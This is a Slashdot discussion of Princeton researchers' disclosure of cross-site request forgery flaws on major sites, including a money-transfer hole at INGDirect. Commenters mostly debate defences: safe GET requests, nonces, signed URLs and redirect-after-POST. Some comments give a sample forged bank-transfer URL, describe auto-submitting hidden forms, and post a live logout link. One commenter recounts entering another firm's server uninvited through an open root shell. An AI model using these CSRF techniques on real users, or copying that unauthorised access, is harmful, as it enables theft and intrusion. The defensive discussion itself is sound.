Slashdot Mirror


CSRF Flaws Found On Major Websites, Including a Bank

An anonymous reader sends a link to DarkReading on the recent announcement by Princeton researchers of four major Web sites on which they found exploitable cross-site request forgery vulnerabilities. The sites are the NYTimes, YouTube, Metafilter, and INGDirect. All but the NYTimes site have patched the hole. "... four major Websites susceptible to the silent-but-deadly cross-site request forgery attack — including one on INGDirect.com's site that would let an attacker transfer money out of a victim's bank account ... Bill Zeller, a PhD candidate at Princeton, says the CSRF bug that he and fellow researcher Edward Felton found on INGDirect.com represents ... 'the first example of a CSRF attack that allows money to be transferred out of a bank account that [we're] aware of.' ... CSRF is little understood in the Web development community, and it is therefore a very common vulnerability on Websites. 'It's basically wherever you look,' says [a security researcher]." Here are Zeller's Freedom to Tinker post and the research paper (PDF).

143 comments

  1. Computer systems need security audits. by suck_burners_rice · · Score: 4, Interesting

    Just as a responsible institution has an independent auditor come to inspect their financial books for correctness, so should a responsible institution do with its computer systems and network security. The two are different only insofar as financial accounting is different from computer administration, but the need to audit both is equally pressing. This story serves as yet another example of the necessity for such things.

    --
    McCain/Palin '08. Now THAT's hope and change!
    1. Re:Computer systems need security audits. by Darkness404 · · Score: 4, Insightful

      The problem isn't really that flaws were found, but that NYTimes refused to change them. If you look in 2600, you will see that even when hackers have posted step-by-step guides to 0wning S3rv3rs, the businesses just claim that it is supposed to be like that, or never getting around to fixing them.

      --
      Taxation is legalized theft, no more, no less.
    2. Re:Computer systems need security audits. by zobier · · Score: 5, Insightful

      Repeat after me boys and girls "GET requests shouldn't change anything on the server".

      --
      Me lost me cookie at the disco.
    3. Re:Computer systems need security audits. by MrNaz · · Score: 3, Insightful

      There are ways to safe GET requests. Unnecessarily avoiding the use of GET results in web sites that are not bookmarkable and where users can't provide links to their friends. So "hey check this out" and pasting a link becomes "hey check this out go to the main page, click here, then there, then on the other thing, then scroll down a bit to find the item in the list and then its halfway down that page".

      --
      I hate printers.
    4. Re:Computer systems need security audits. by TheLink · · Score: 5, Interesting

      GET requests in practice change stuff on the server. Making everything POSTs is just annoying - you get all those "click OK to resubmit form" messages and you don't even know what form it is.

      What they should do is sign urls (at least for significant stuff), so you can't just iframe a static url, you have to guess the correct url - which should change at least on a per session basis.

      e.g. instead of http://slashdot.org/my/logout it should be something like http://slashdot.org/my/logout?salt=123955813&sig=01af85b572e956347a56

      Where sig=sha1(concat(user session,salt,site secret,site time in hours))

      If sig doesn't match, you try to see if sig matches the time that rolled over:
      sig=sha1(concat(session,salt,site secret,site time in hours-1))

      user session = random string+primary key.

      For stuff that should not be resubmitted, you use another param to enforce that.

      --
    5. Re:Computer systems need security audits. by zobier · · Score: 4, Interesting

      I didn't say anything about not having GET, I was talking about safe GET requests. Obviously it's OK to have a link to your user profile/picture gallery/&c. What is a bad idea is a link that will add someone as a friend or delete a picture, you get the idea.

      --
      Me lost me cookie at the disco.
    6. Re:Computer systems need security audits. by Anonymous Coward · · Score: 0

      You seem to be under the *very* mistaken impression that POSTs aren't vulnerable to CSRF attacks. I bet you've written some awfully vulnerable apps.

    7. Re:Computer systems need security audits. by Anonymous Coward · · Score: 0

      insofar

      Using this word makes you sound like a damn dumbass.

    8. Re:Computer systems need security audits. by spec8472 · · Score: 5, Insightful

      While GET does in practice change stuff on the server, the idea is that it should be repeatable without adverse effect.

      So, calling GET on a document might increase a hit counter, or update some other information - having me repeatedly call that function again should be safe.

      However using GET for Updating Account Details, or Moving money (just some purely /random/ examples) is just plain bad design.

      The example of signing GET requests is useful in some situations, but *mostly* not necessary if the design is right.

    9. Re:Computer systems need security audits. by darkfire5252 · · Score: 4, Insightful

      GET requests in practice change stuff on the server. Making everything POSTs is just annoying - you get all those "click OK to resubmit form" messages and you don't even know what form it is.

      ... CSRF exploits are not the reason that GET requests shouldn't change anything on the server. Implement all of your secret one time link programs, but you'll be disappointed when someone using an 'internet accelerator' that pre-fetches pages comes by and illustrates the reason that GET ought to be separate from POST...

    10. Re:Computer systems need security audits. by Miseph · · Score: 1

      "a damn dumbass"

      Much like a normal dumbass, but going to hell.

      --
      Try not to take me more seriously than I take myself.
    11. Re:Computer systems need security audits. by zobier · · Score: 1

      Not at all, everything is vulnerable, some things are harder to attack/easier to defend though. You can easily use a nonce with form data or even more intricate mechanisms. Yes you can use similar protections with GET but that doesn't make it a good idea.

      --
      Me lost me cookie at the disco.
    12. Re:Computer systems need security audits. by Anonymous Coward · · Score: 0

      If you think changing unsafe GET requests to POST requests is sufficient protection against CSRF, you don't understand CSRF.

    13. Re:Computer systems need security audits. by Anonymous Coward · · Score: 0

      Repeat after me ...
      "Using POST instead of GET does NOT solve CSRF"
      "Using POST instead of GET does NOT solve CSRF"

      in case you didn't get that

      "Using POST instead of GET does NOT solve CSRF"

    14. Re:Computer systems need security audits. by Corbets · · Score: 1

      Actually, you'll find that many auditing firms (such as Deloitte or PwC) offer both services. They go hand in hand, because the audit mindset is at some level the same.

      The trick we face, of course, is convincing IT-types of how important it is, whereas accountants either already understand the need, or accept that the law requires it (NOT that I'm proposing making this a legislative requirement!).

    15. Re:Computer systems need security audits. by tuma · · Score: 5, Informative

      GET requests in practice change stuff on the server. Making everything POSTs is just annoying - you get all those "click OK to resubmit form" messages and you don't even know what form it is.

      I agree that the "click OK to resubmit form" messages are annoying - and dangerous, because your average user has no idea what the message means, or what the implications might be of clicking OK.

      Fortunately, there is an extremely simple paradigm that works beautifully:

      1. When an HTTP request is going to change something on the server, make it a POST request.
      2. The server receives the POST request, and updates internal state, etc. When it is finished handling the internal changes (either successfully or not), it does NOT print an HTML page. Instead, it prints a REDIRECT message telling the web browser the next page it should GET. (You're the author of the web app, so you can build whatever ultra-specific URL you want here.)
      3. The web browser GETs the specified page and displays it, showing whatever HTML you deem to be appropriate as the result of the POSTed change.

      At the conclusion of this interchange, the user's browsing history only contains the GET page that was displayed before the POST, followed by the GET page showing the results. They can freely use their forward and back buttons to navigate within their history with no ill effect, and they will never see a "resubmit form?" question from their browser.

      I use this paradigm 100% of the time. You receive tremendous benefits by respecting the documented/intended behavior of GET/POST (e.g. no problems with caching or prefetch, and when a user intentionally resubmits a POST operation it will truly be resubmitted to the server), without the painful "resubmit form?" redux.

      --
      If you lived on /. , you'd be home now!
    16. Re:Computer systems need security audits. by smellotron · · Score: 1

      GET requests shouldn't change anything on the server

      That's not entirely accurate. GET requests should be idemponent, meaning that one request has the same effect as N identical requests. That actually has nothing to do with the server's own state, which may be caching internally or is otherwise able to handle resubmission gracefully.

      In any case, GET vs POST isn't a security concern—both are equally succeptible to exploits.

    17. Re:Computer systems need security audits. by Stan+Vassilev · · Score: 1

      Repeat after me boys and girls "GET requests shouldn't change anything on the server".

      You can perform CSRF with POST just as easy as with GET.

    18. Re:Computer systems need security audits. by Anonymous Coward · · Score: 0

      It isn't a GET issue so much as an authentication and encryption issue. When I first started learning shell, one of the first scripts I came up with on my own was a tunnel that allowed POST data to be recorded / changed / resent arbitrarily. I never imagined it would be more useful than bookmarking websites that didn't 'want' you to... or automating online game play.
       
      but from my understanding, given the power and expressiveness of, say, php5, strings in scrips use literal substitution, which means if you use user input without translating it to *sql entities, you are basically letting a user inject code wherever you use their input. Could you imagine if slashdot just took comments like <?php ... ?> and just saved saved it AS IS?!?
       
      I'll agree that having to remember to convert everything with *sqlentities() or htmlentities() isn't want I want to do immediately in my web design progress, but just think of them as REQUIRED, if not at least for keeping your job.

    19. Re:Computer systems need security audits. by evanbd · · Score: 4, Informative

      The spec is a little odd in this regard. It says that GETs should be idempotent -- repeating the request shouldn't change anything. That is not the same as saying that performing the request the first time shouldn't change anything. For example, clicking a "remove this from my shopping cart" link twice would have the same result as only doing it once -- the item is gone. But the request is still idempotent. That doesn't mean that you should do that, but it does conform to spec.

    20. Re:Computer systems need security audits. by Monkier · · Score: 1

      If you want to point someone at something more authoritative:

              * Use GET if:
                          o The interaction is more like a question (i.e., it is a safe operation such as a query, read operation, or lookup).
              * Use POST if:
                          o The interaction is more like an order, or
                          o The interaction changes the state of the resource in a way that the user would perceive (e.g., a subscription to a service), or
                          o The user be held accountable for the results of the interaction.

      http://www.w3.org/2001/tag/doc/whenToUseGet.html#checklist

    21. Re:Computer systems need security audits. by Monkier · · Score: 1

      reminds me of a story: i worked somewhere where the 'send out mailing list emails' was a script u hit in your browser, something like: http://website.com/domailinglist to send out all the emails..

      turns out every night the webstats package would go thru the server logs and GET every page to find the title tag.. do'h

    22. Re:Computer systems need security audits. by Anonymous Coward · · Score: 0

      At last...

      Signing URLs using salt etc. I suggested this very technique ten years ago, not knowing that it had already been explained in a book (I could find the name of that book with some time). This seemed to be the 101 of proper URL crafting back in the days.

      Glad to see that one decade later it starts to become public knowledge. Now of course most "technical" people don't even know what a "salt" is ;)

    23. Re:Computer systems need security audits. by TheLink · · Score: 2, Interesting

      Well then that sort of internet accelerator will break on slashdot, gmail etc, since the last I checked, with all of them, you can get logged out with a simple GET request.

      Clicking the following will result in a GET request that logs you out from slashdot:

      http://slashdot.org/my/logout

      --
    24. Re:Computer systems need security audits. by TheLink · · Score: 1

      Yep, been doing that too.

      Note: this is mandatory for login forms.

      It's amazing some sites don't do it...

      So someone logs out, forgets to close browser, naughty person comes along goes back in browser history and resubmits the logon credentials!

      Hilarious.

      There's no need to do fancy/hardcore hacking when there's plenty of low hanging fruit like that.

      --
    25. Re:Computer systems need security audits. by ebeeson · · Score: 1

      Repeat after me: "telling people 'GET shouldn't change anything' reinforces the dangerously incorrect notion that POST can't be forged".

      JavaScript makes it *trivial* to POST data to an arbitrary server. Seriously, the only way to properly deal with this is to include and verify some sort of token in all POST requests (along with not allowing GET requests to modify data)

    26. Re:Computer systems need security audits. by wrook · · Score: 1

      Thank you for that description. I'm not a web developer, but I occasionally build web applications for my own personal use. This is really helpful!

    27. Re:Computer systems need security audits. by TheLink · · Score: 1

      So far almost all the popular sites I see use GET for logout.

      I just checked and gmail still uses GET for "delete email" in their "no javascript" UI- view an email and you'll see it as a linked option. The javascript UI uses buttons.

      --
    28. Re:Computer systems need security audits. by Fatalis · · Score: 1

      What is a bad idea is a link that will add someone as a friend or delete a picture, you get the idea.

      no, not necessarily. you could simply add the session ID as one of the necessary GET parameters, and redirect the client afterward, so as to not display the URL with the session ID to her, lest she copies and pastes it to someone. this simplifies development, because you don't need a form to let the user perform actions. also, I think it's safer, because, unless you add a hidden parameter to the form, it's vulnerable to CSRF too. POST just makes it a bit harder to do (e.g., [img] tags in a forum software won't suffice)

      --
      Deus est fatalis
    29. Re:Computer systems need security audits. by stevey · · Score: 1

      My Debian Administration website uses a GET for logout, but with a secure nonse.

      I spent a while writing a guide to preventing CSRF attacks and implemented most of the suggestions.

    30. Re:Computer systems need security audits. by Fatalis · · Score: 1

      In any case, GET vs POST isn't a security concernâ"both are equally succeptible to exploits.

      no, not really, since it's much easier to get people to open GET URLs than POST. with the former, all you need to do is, say, post an [IMG] in a forum somewhere, and people might not even notice it was you. with POST, you need to get them to click on a link or use XSS, which is harder to achieve and more prone to draw attention

      --
      Deus est fatalis
    31. Re:Computer systems need security audits. by Zero__Kelvin · · Score: 1

      You might want to update your site. The Mozilla HttpOnly cookie attribute for cross-site scripting vulnerability prevention bug is resolved now. Your site says "progress appears to have stalled".

      --
      Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
    32. Re:Computer systems need security audits. by Anonymous Coward · · Score: 0

      FFIEC Guidelines call for a minimum of 1 pen-test each year, and recommend one per quarter (either internally generated, or externally).

      Sorry charlie, but this should already be happening at every bank in the USA.

    33. Re:Computer systems need security audits. by PastaLover · · Score: 1

      This is pretty much the standard paradigm in ruby on rails as well, as far as I can tell. Does work nicely.

    34. Re:Computer systems need security audits. by dougmc · · Score: 1
      No, I won't. It's not that simple.

      Sure, that's a nice rule of thumb, one you'll probably not go wrong following, but it's not a rule in general.

    35. Re:Computer systems need security audits. by NeoThermic · · Score: 1

      Actually, it's called Cross-Site Request Forgery for a reason; if it's post just link them to a page which uses JS to auto-submit a form to the original site doing whatever it is you require. It's very easy to get people to click a link when they are not expecting such an attack.

      NeoThermic

      --
      Use my link above, or to view my server, NeoThermic.com
    36. Re:Computer systems need security audits. by Sancho · · Score: 1

      w3c disagrees with you:

      The "get" method should be used when the form is idempotent (i.e., causes no side-effects). Many database searches have no visible side-effects and make ideal applications for the "get" method.

      If the service associated with the processing of a form causes side effects (for example, if the form modifies a database or subscription to a service), the "post" method should be used.

      From http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13.1

      Redirects are evil. They make it harder to use your back button, they may work differently in different browsers, and if the user does go back, they'll re-submit the request to add, delete, whatever, which may have unpredictable results or cause user-confusion.

      Storing the session-ID in the URL is just generally a bad practice, and should be avoided when possible. Session-IDs in the URL opens your site up to a session-guessing attack if your session-ID generation algorithm is ever found to generate guessable sessions (e.g. the attacker knows that session 2381909-03802 is coming up, and so spams that URL to millions of people. The first hundred who click on the link don't get that session, but eventually someone probably will.) Even if you're only sending the session for a few of your URLs, the danger exists.

      Double-cookie submission is a well known and understood pattern for preventing CSRF. Right now, it's the best way to prevent problems.

    37. Re:Computer systems need security audits. by theverylastperson · · Score: 1

      If your network deals with Financial information then you're required by law to audit them every quarter.

      http://en.wikipedia.org/wiki/Gramm-Leach-Bliley_Act

      However I think every 3 months is too big of a gap to catch problems before they arise.

      --
      ed duval the very last person
    38. Re:Computer systems need security audits. by Sancho · · Score: 1

      I think that you're thinking of CSS or other code injection, not CSRF. CSRF relies on a user being authenticated to another site (a bank, for instance) which allows you to visit a specially crafted URL to perform an action. For example, this URL might transfer money between accounts:
      http://mybank.example.com/transfer?amount=3000.00&sourceAcct=00001&destinationAcct=10001 The attacker just needs to get the user to visit that URL in any way, perhaps with a bit of javascript on a malicious site, or with a refresh, or through some trickery which involves action on the user's part. Note that some of these ways merely require that the user visit the bad guy's site. Note also that spam with this URL will be going to the bank site, which means that the user may be off-guard if they're only paying attention to the host part of the URL.

      If I'm logged into my bank, and I own acct 00001, I will have transferred 3000 units of currency to account 10001. Using POST makes this harder--it requires a bit of Javascript--but it's may still be possible.

      The solution involves tracking user actions and ensuring that the user pressed the button which performs the above action. Generally speaking, this is done using a technique called double-cookie submission--where a token cookie is passed from the server to the client and back on every page along with the user's session information. If the token cookie (which must change with each new page) matches, the site will trust that the user is performing that action.

    39. Re:Computer systems need security audits. by jc42 · · Score: 1

      Repeat after me boys and girls "GET requests shouldn't change anything on the server".

      Nonsense. Every GET request changes something on the server. It adds a line to the server log. So you're banning all GET requests.

      Actually, I think I know what you meant to say. But the above statement is so over-simplified and dumbed down that it's just wrong. If my boss were to seriously attempt to enforce such a dumb rule, I'd be updating my resume really fast.

      Unfortunately, the correct guideline needs to be a bit more complex. Thus, I have a lookup page that invokes a CGI program which produces its own log file (for error checking) and also writes some intermediate files of extracted data in a tmp directory. These files stay around for a few hours, and I use them all the time for debugging and auditing. This is materially more than a server-log entry, and it's also totally harmless. But creating files certainly qualifies as changing things on the server, so by the above rule, it would be banned in a GET. Again, the rule is wrong.

      --
      Those who do study history are doomed to stand helplessly by while everyone else repeats it.
    40. Re:Computer systems need security audits. by Anonymous Coward · · Score: 0

      Repeat after me boys and girls "GET requests shouldn't change anything on the server".

      So, when logged into a banking site, a GET request should not update the session state to prevent timeout? Before you flippantly dismiss the example, consider that a GET request that does no more than update a session can have an adverse effect. The site includes an inactivity time out for good reason, and it can usually be bypassed with CSRF. The whole situation isn't nearly so clean and pretty as you'd like to paint it. I suppose that means that all "logged in" pages on banking sites should use POST requests for everything.

    41. Re:Computer systems need security audits. by CrazedSanity · · Score: 1

      AMEN!

      I was going to post this as a response to TheLink's post. I worked on the administrative section of a website for many years. It was built to have a single user account selected at all times, and assumed that they would only have a single window open and would only use my links (not the back button).

      After a very short period of time, I found they completely ignored my requests. They would POST a search query, go to a result, then go back (re-POSTing the query). It was fairly intensive on the server, so I learned the trick of caching the results & redirecting after a POST (without printing anything to the screen). It's amazing how many intelligent web developers told me it was a stupid idea, even after explaining it... since I was in a position of authority, I eventually just forced them to do it my way, even though they somehow didn't understand the security (and user-friendliness) behind the concept.

      --
      Sanity is like a condom: rather have it and not need it, than need it and not have it.
    42. Re:Computer systems need security audits. by Spy+der+Mann · · Score: 1

      When it is finished handling the internal changes (either
      successfully or not), it does NOT print an HTML page. Instead, it
      prints a REDIRECT message telling the web browser the next page it
      should GET.

      AMEN, brother! This is what I always do in my web applications - the trick is storing the result of the operation in a session variable. But after you've done that, you can forget about those "resubmit?" annoyances.

    43. Re:Computer systems need security audits. by Bogtha · · Score: 2, Informative

      The spec is a little odd in this regard. It says that GETs should be idempotent -- repeating the request shouldn't change anything. That is not the same as saying that performing the request the first time shouldn't change anything.

      Have you actually read the spec? Yes, it says that GET requests should be idempotent. It also says that GET requests should be safe. These are two different things. Saying that it requires GET requests to be idempotent, but this doesn't mean that they should be safe is technically true, but ignorant of what the specification actually says.

      For example, clicking a "remove this from my shopping cart" link twice would have the same result as only doing it once -- the item is gone. But the request is still idempotent. That doesn't mean that you should do that, but it does conform to spec.

      Straight from the spec:

      Implementors should be aware that the software represents the user in their interactions over the Internet, and should be careful to allow the user to be aware of any actions they might take which may have an unexpected significance to themselves or others.

      In particular, the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe". This allows user agents to represent other methods, such as POST, PUT and DELETE, in a special way, so that the user is made aware of the fact that a possibly unsafe action is being requested.

      Naturally, it is not possible to ensure that the server does not generate side-effects as a result of performing a GET request; in fact, some dynamic resources consider that a feature. The important distinction here is that the user did not request the side-effects, so therefore cannot be held accountable for them.

      --
      Bogtha Bogtha Bogtha
    44. Re:Computer systems need security audits. by Anonymous Coward · · Score: 0

      I'm glad you aren't designing the security for my online banking website.

    45. Re:Computer systems need security audits. by dave420 · · Score: 1

      It's the Location: header, and it works exactly that way. I don't know why sites don't use it more often - it completely makes POSTing a non-issue for everyone concerned.

    46. Re:Computer systems need security audits. by bluej100 · · Score: 1

      Great post. FYI, this is termed the Post/Redirect/Get pattern.

    47. Re:Computer systems need security audits. by skis · · Score: 1

      CSRF happens in POST requests as well. In fact, most public CSRF exploits I've seen have used POST forms in IFRAMEs automatically submitted using javascript (document.form.submit). This is another great reason to use noscript, because you are not going to know this is happening otherwise.

    48. Re:Computer systems need security audits. by saintsfan · · Score: 1

      many institutions do have independent auditors inspect their computer systems. in fact, banks and other publicly traded companies do all the time as it is generally required by regulators and best practices by almost every professional organization. http://www.theiia.org/guidance/technology/gait/
      they don't necessarily catch these types of vulnerabilities, but they perform a review to the level of sophistication that the auditor can and is directed to based on risk and budgeting by management.

      additionally, many companies that contract with third parties, especially ASPs in this context, require a SAS70 (not that this is a reliable guarantee by any means) http://en.wikipedia.org/wiki/SAS70

    49. Re:Computer systems need security audits. by saintsfan · · Score: 1

      forgot to mention a really big one for financial institutions http://www.ffiec.gov/ffiecinfobase/html_pages/infosec_book_frame.htm

    50. Re:Computer systems need security audits. by zobier · · Score: 1

      You're right but you also sound like you know what you're doing.
      It's both sad and dangerous how many web developers haven't the faintest clue WTF is going on.

      --
      Me lost me cookie at the disco.
    51. Re:Computer systems need security audits. by zobier · · Score: 1

      They don't even need JavaScript, there was a bulletin recently which outlined hiding everything in the <iframe /> but (part of) the button. Maybe we need a new extension like NoScript and CookieSafe which blocks CSS by default until enabled on a site by site basis.

      --
      Me lost me cookie at the disco.
    52. Re:Computer systems need security audits. by risikofaktor · · Score: 1

      CookieSafe, NoScript and the protection Opera has against CSRF - this is a big mess.
      NoScript might save you from some POST malicious requests.
      CookieSafe is similar to the Opera protection but did not work in my Iceweasel, only in Firefox it seemed to work.
      The Opera "Only send cookies to the site I visit" (which is named badly because what it does is different) on the other hand protects you from embedded images doing CSRF, but not from a CSRF by submitting a form (by hand or JS).
      So all these things to different things to protect you. We would need *all* three. Opera even says browser vendors are not responsible at all (I submitted a bug report), web developers are. But at the same time doing a "lightweight" protection.
      So as long as even browser vendors are not sure what is necessary to avoid CSRF the only thing left is make your webapps save and as a customer just be careful...

    53. Re:Computer systems need security audits. by shnull · · Score: 0

      Can we put this discussion on hold till i have transferred that $10 milion please ?

      --
      beware he who denies you access to information for in his mind, he already deems himself to be your master (SMAC-ish)
    54. Re:Computer systems need security audits. by iancumihai · · Score: 0

      Repeat after me boys and girls "GET requests shouldn't change anything on the server".

      there is no difference. POST or GET, both can be exploited in the same way. it just makes a difference between a simple url link and a properly crafted form or a ajax post request.

  2. Why is it that... by Darkness404 · · Score: 4, Interesting

    Why is it that some business even when notified of a major security risk either say that it is functioning normally or not patch the thing right away? Do some businesses not have sysadmins or what? If I got an E-mail that said that my servers could be owned by such and such exploit by doing this and this, I would immediately take action.

    --
    Taxation is legalized theft, no more, no less.
    1. Re:Why is it that... by Ostracus · · Score: 2, Insightful

      "If I got an E-mail that said that my servers could be owned by such and such exploit by doing this and this, I would immediately take action."

      Except another recent E-mail says that your job just has been outsourced and you have five minutes to clean out your desk. Happy fixing.

      --
      Shai Schticks:"You don't make peace with friends, you make peace with enemies"
    2. Re:Why is it that... by Chundra · · Score: 4, Interesting

      Because many (most?) large organizations have so many layers of bureaucratic red tape to cross that it's extremely difficult to ever get anything done quickly. Here's an example of what was involved in installing a vendor's security patch in a company I used to work for.

      We'd have to test the changes in a sandbox environment and engage all stakeholders of all systems that even remotely touched the app. They would have to buy off on the change entering the development environment. Time spent here: 1-5 days depending on approvals.

      We'd schedule a move to dev and immediately work with the help desk (to update their documentation--needed or not), and work with packaging teams to "productize" the change (which mind you, was often a simple configuration change or an installer from a vendor). We'd test the new rerolled installer and if it looked ok request buyoff from all stakeholders after they performed their tests. We'd request to move to the integration testing environment if all looked good. Time spent here: 2-6 weeks depending on approvals and packaging issues.

      In the integration testing environment disgruntled test lab system administrators got involved. They'd work with the deployment teams to install the packages, but only during certain scheduled times that both the admins and the software deployment groups agreed to. Again we'd need buy off from all stakeholders after they did full regression tests to get past this gate. Any problems meant you went back to Dev. Time spent here: 2-4 weeks depending on approvals and scheduling.

      Leaving integration testing you reach the user acceptance environment. Here the same disgruntled system administrators would be involved and the process was pretty much the same as in the integration testing environment. Except now instead of just stakeholder buy off you'd need to get buy off from the performance testing teams. If they gave a thumbs up, you'd have to work on scheduling focus groups with small subsets of real end users. Time spent here: 2-6 weeks depending on approvals.

      Now, if the planets were correctly aligned and you said all your prayers, you would then have the opportunity to schedule a move to production. This usually results in at least a 1 week delay. In production, the people who know how things work are not allowed to touch anything due to various regulatory requirements and separation of duties. So in production, you deal with a different set of disgruntled systems administrators and a variety of production control operators. These are completely different guys than the ones in the test lab. They are incapable of doing anything except for exactly what you specify in an "engineering packet" which details in obscene detail exactly what needs to be done. Think of the level of detail you'd have to provide to a 10 year old with ADHD. Before working with them you'd go to the "change review board" which meets once a week, and if you were lucky and got all your forms filled out correctly you'd get a time slot to have those admins and operators push your change out. They often times screwed something up so you'd be delayed at least another week. Time spent getting into production: 1-5 weeks.

      It was truly fucked, but seems to be the norm across all the larger organizations I've ever worked in.

    3. Re:Why is it that... by guruevi · · Score: 1

      You were lucky, I was in a company once where change had to be approved in a similar process. Except the departmental meetings to bring up the change issue was once a week, the inter-departmental meetings to bring up changes across stakeholders in different departments was maybe once a month (if you were lucky). Once you got the whole project together and sat through many inter-departmental meetings listening to petty catfights in HR or finance and got everybody to sign off on the approval, you had to go in front of the review board which met quarterly. Good luck if the review board just met last week before you got that last signature.

      I tried implementing some things like upgrade a Mac OS X Server from 10.1 to 10.3. By the time I was done just getting the project together, 10.4 had been out for 6 months. I was about to get out of the job when the whole company tanked and got taken over.

      --
      Custom electronics and digital signage for your business: www.evcircuits.com
    4. Re:Why is it that... by Anonymous Coward · · Score: 0

      you're a moron.

      it's called change control and it exists for a reason.

      if you don't like it, go back to whence you came where you can break AND fix an issue and hide it. won't work here.

    5. Re:Why is it that... by CrazedSanity · · Score: 1

      That reminds me of a silly exploit on one of the hosted servers that I managed at an ISP (when reading, keep in mind I was a noob sysadmin). Through some pretty simple port scanning, I noticed a hosted server had a very odd port number open. I did a simple telnet to that port on the server, and was shocked to find I got a bash prompt with root-level permissions... keep in mind this server was publicly accessible (public IP).

      I immediately notified the company that owned the server and told them to close the hole (and find how the attacker got in) immediately so other servers didn't get attacked by their rather beefy server. Hours went by with no response to my insistent calls and emails. I logged into their server and echoed stuff like "FIX YOUR HOLE" to their /dev/tty's (really annoying, BTW), but they did nothing.

      I finally got tired of their inaction. I logged into their server through the hole (since I didn't have root/sudo on their server) and poked around for a few minutes to find where the hole had been created. It took a few minutes--I had no path set, so I had to use absolute paths to programs/files that I was unfamiliar with--but I found the problem was a silly entry in their inetd.conf file (or something like that). I removed it, restarted inetd, and tested that the hole was indeed plugged.

      I found it absolutely amazing that they failed to act at all. On the rare occasions that an exploit was found on my server, it was fixed within a few minutes/hours of finding out (depending on how hard it was to fix and my accessibility to said server). I guess some people just don't care as long as their server is still running.

      --
      Sanity is like a condom: rather have it and not need it, than need it and not have it.
  3. It is al right no big deal by 140Mandak262Jamuna · · Score: 1

    The CEO had already taken all the money in your account. There is nothing left in your account. So the hacker could do any more damage. This is the new security measure that thwarts the hackers. Now the CEO wants another 700Billion dollars for this brilliant outflanking of the hacker.

    --
    sed -e 's/Chuck Norris/Rajnikant/g' joke > fact
  4. In other news... by jadedoto · · Score: 1

    Recent stock market crash and bank sales are actually a ploy by some clever Russian hackers...

  5. Very nasty by Twigmon · · Score: 5, Informative

    This looks like a very nasty attack to defend against. More info:

    http://en.wikipedia.org/wiki/Cross-site_request_forgery

    1. Re:Very nasty by SRowley · · Score: 2, Informative
      The linked paper shows that a few very simple things can defend against this attack altogether:
      • Don't allow GET requests to modify anything
      • Send a pseudorandom token with every form

      It's just not a very well known attack.

    2. Re:Very nasty by Curien · · Score: 3, Informative

      Don't allow GET requests to modify anything

      That doesn't protect you. Sure, it prevents the img tag vector, but it doesn't stop an attacker from convincing users to submit an arbitrary form.

      Send a pseudorandom token with every form

      As far as I can tell, that's the only solution that doesn't rely on Javascript shenanigans, but it doesn't really stop it. All it does is reduce the problem to a cryptographic attack -- which is subject to brute force.

      --
      It's always a long day... 86400 doesn't fit into a short.
    3. Re:Very nasty by lysergic.acid · · Score: 1

      can someone please explain to me why the wikipedia page on the confused deputy problem (the class of attacks to which CSRF belongs to) contains a picture of Don Knotts?

      i really don't see what Barney Fife has to do with privilege escalation or computer security.

    4. Re:Very nasty by lysergic.acid · · Score: 1

      how exactly would the attacker use a brute force attack on a CSRF vulnerability? i don't think a user can be convinced to resubmit a form more than 2-3 times, much less the hundreds of thousands of times necessary to crack any moderately secure session token.

      and all you need to do is block outside referrers. that's the oldest trick in the book. it's simple to implement and effectively protects against most CSRF attacks.

    5. Re:Very nasty by Curien · · Score: 1

      First off, you don't need to have the user actually click submit. You can submit forms with Javascript or even just use XMLHTTPRequest.
      Secondly, checking referrers is pointless. It's easy to lie about them.

      --
      It's always a long day... 86400 doesn't fit into a short.
    6. Re:Very nasty by Sancho · · Score: 1

      As far as I can tell, that's the only solution that doesn't rely on Javascript shenanigans, but it doesn't really stop it. All it does is reduce the problem to a cryptographic attack -- which is subject to brute force.

      The token should have a very short lifetime. If the attacker can brute-force the token before it expires, yes, they'll win, but correctly-implemented, that should not happen.

  6. Details and Examples by nmb3000 · · Score: 5, Informative

    For anyone curious, Jeff Atwood of Coding Horror recently wrote about them in his blog. Included are some additional details and a couple of examples.

    At face value it's a somewhat obvious exploit, but still interesting.

    --
    "What do you despise? By this are you truly known." --Princess Irulan, Manual of Muad'Dib
    /)
  7. The Cross-site request forgery FAQ by mrkitty · · Score: 4, Informative
    --
    Believe me, if I started murdering people, there would be none of you left.
    1. Re:The Cross-site request forgery FAQ by sam0737 · · Score: 1

      I think using nonce in the form is also a very effective way to prevent CSRF?

      Nonce is Number-just-used-Once. Basically it is just a number generated by server, known to the server and client. Think it likes the Captcha that other site can't guess the current value, except the answer is known to the browser automatically.

      I didn't mention in the FAQ in the parent.

      Web application developer should really learn from existing webapp, like blogs like Wordpress or any other popular forum software, they are usally a pioneer to get these security measure implemented.

  8. Heh by FlyByPC · · Score: 4, Funny

    "...four major Websites susceptible to the silent-but-deadly cross-site request forgery attack..."

    I knew something smelled funny...

    --
    Paleotechnologist and connoisseur of pretty shiny things.
    1. Re:Heh by k-macjapan · · Score: 1

      "...four major Websites susceptible to the silent-but-deadly cross-site request forgery attack..."

      I knew something smelled funny...

      That would be methane.

    2. Re:Heh by KGIII · · Score: 1

      Was it you that tagged this "silentbutdeadly fart" then? ;) (I think you have to use the beta front page view to see that tag though.)

      --
      "So long and thanks for all the fish."
    3. Re:Heh by Spy+der+Mann · · Score: 1

      "...four major Websites susceptible to the silent-but-deadly cross-site request forgery attack..."

      I knew something smelled funny...

      GASP! It's the methane! We're all gonna die!

  9. Wouldn't a referrer check also counter this? by argent · · Score: 1

    Since the CSRF request will come with the referrer header set to the attacker's site, then validating the referrer should also counter this attack.

    This is not the same as the the "same origin policy" in Appendix B of the paper.

    1. Re:Wouldn't a referrer check also counter this? by Anonymous Coward · · Score: 1, Informative

      The referer field is optional and unreliable. It should never be used for security.

    2. Re:Wouldn't a referrer check also counter this? by argent · · Score: 1

      Optional, perhaps, but in practice I've used it to discourage address scrapers for over 10 years and don't recall a single complaint from anyone about requiring a referrer. In practice it's almost always present.

      And unreliable? How would it fail in a way that delivered the correct URL for a referrer check over an HTTPS connection? It won't be even seen by a proxy, let alone modified or removed.

      The worst case is a false positive, and only if the end user has explicitly chosen to disable it.

    3. Re:Wouldn't a referrer check also counter this? by Cajun+Hell · · Score: 1

      Last year I went around adding CSRF protection to my employer's site, and I had my check-the-session-token function go ahead and look at the referrer too, just as an "extra" check. If either the token or the referrer was wrong, reject the request.

